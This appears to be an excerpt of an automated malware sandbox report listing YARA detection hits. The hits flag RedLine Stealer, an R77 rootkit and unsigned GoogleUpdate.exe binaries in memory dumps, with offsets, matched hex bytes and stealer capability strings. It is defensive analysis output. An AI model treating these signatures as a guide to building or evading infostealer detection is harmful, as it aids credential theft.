4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
0.2.setup.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.setup.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xfb7c:$s5: delete[] 0xe9b0:$s6: constructor or from DllMain. 0x3246c:$pat14: , CommandLine: 0x2a0ee:$v2_1: ListOfProcesses 0x29e77:$v4_3: base64str 0x2af0d:$v4_4: stringKey 0x27a90:$v4_5: BytesToStringConverted 0x26af8:$v4_6: FromBase64 0x28264:$v4_8: procName 0x285e7:$v5_1: DownloadAndExecuteUpdate 0x29d87:$v5_2: ITaskProcessor 0x285d5:$v5_3: CommandLineUpdate 0x285c6:$v5_4: DownloadUpdate 0x28c7b:$v5_5: FileScanning 0x27dff:$v5_7: RecordHeaderField 0x2781e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
73.2.dllhost.exe.140000000.0.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
75.2.updater.exe.1d03cfc0000.0.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.2.dllhost.exe.14001e0b0.1.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
71.0.GoogleUpdate.exe.a50000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
73.2.dllhost.exe.14001e0b0.1.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.2.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
74.0.GoogleUpdate.exe.a50000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
73.0.dllhost.exe.14001e0b0.7.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
9.2.chrome.exe.dd4d60.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x13ec5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x141d5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x144b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x147a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14a91:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14d95:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15081:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15379:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15679:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15961:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15c49:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15f31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16235:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16541:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1683d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16b39:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16e29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17135:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17425:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17705:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17a11:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
64.0.GoogleUpdate.exe.a50000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 